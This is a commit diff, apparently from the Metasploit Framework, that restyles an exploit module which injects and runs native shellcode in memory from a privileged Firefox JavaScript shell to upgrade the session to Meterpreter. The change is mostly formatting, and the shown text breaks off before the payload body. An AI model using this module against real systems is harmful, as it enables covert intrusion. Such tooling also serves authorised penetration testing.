|
3 | 3 | # Current source: https://github.com/rapid7/metasploit-framework |
4 | 4 | ## |
5 | 5 |
|
6 | | - |
7 | 6 | class MetasploitModule < Msf::Exploit::Local |
8 | 7 | Rank = ExcellentRanking # Missing autodetection, but has widespread targetability |
9 | 8 |
|
10 | 9 | include Msf::Payload::Firefox |
11 | 10 | include Msf::Exploit::Remote::FirefoxPrivilegeEscalation |
12 | 11 |
|
13 | | - def initialize(info={}) |
14 | | - super(update_info(info, |
15 | | - 'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell', |
16 | | - 'Description' => %q{ |
17 | | - This module allows execution of native payloads from a privileged Firefox Javascript shell. |
18 | | - It places the specified payload into memory, adds the necessary protection flags, |
19 | | - and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter |
20 | | - session without touching the disk. |
21 | | - }, |
22 | | - 'License' => MSF_LICENSE, |
23 | | - 'Author' => [ 'joev' ], |
24 | | - 'Platform' => [ 'firefox' ], |
25 | | - 'DisclosureDate' => '2014-03-10', |
26 | | - 'Targets' => [ |
27 | | - [ |
28 | | - 'Native Payload', { |
29 | | - 'Platform' => %w{ linux osx win unix }, |
30 | | - 'Arch' => ARCH_ALL |
31 | | - } |
32 | | - ] |
33 | | - ], |
34 | | - 'DefaultTarget' => 0 |
35 | | - )) |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell', |
| 17 | + 'Description' => %q{ |
| 18 | + This module allows execution of native payloads from a privileged Firefox Javascript shell. |
| 19 | + It places the specified payload into memory, adds the necessary protection flags, |
| 20 | + and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter |
| 21 | + session without touching the disk. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => [ 'joev' ], |
| 25 | + 'Platform' => [ 'firefox' ], |
| 26 | + 'DisclosureDate' => '2014-03-10', |
| 27 | + 'Targets' => [ |
| 28 | + [ |
| 29 | + 'Native Payload', { |
| 30 | + 'Platform' => %w[linux osx win unix], |
| 31 | + 'Arch' => ARCH_ALL |
| 32 | + } |
| 33 | + ] |
| 34 | + ], |
| 35 | + 'Notes' => { |
| 36 | + 'Reliability' => [ REPEATABLE_SESSION ], |
| 37 | + 'Stability' => [ CRASH_SAFE ], |
| 38 | + 'SideEffects' => [ IOC_IN_LOGS ] |
| 39 | + }, |
| 40 | + 'DefaultTarget' => 0 |
| 41 | + ) |
| 42 | + ) |
36 | 43 |
|
37 | 44 | register_options([ |
38 | | - OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) |
| 45 | + OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90]) |
39 | 46 | ]) |
40 | 47 | end |
41 | 48 |
|
42 | 49 | def exploit |
43 | | - print_status "Running the Javascript shell..." |
| 50 | + print_status('Running the JavaScript shell...') |
44 | 51 | session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]") |
45 | | - results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT']) |
| 52 | + results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT']) |
46 | 53 | print_warning(results) if results.present? |
47 | 54 | end |
48 | 55 |
|
49 | 56 | def js_payload |
50 | | - %Q| |
| 57 | + %| |
51 | 58 | (function(send){ |
52 | 59 | try { |
53 | 60 | #{run_payload} |
|
0 commit comments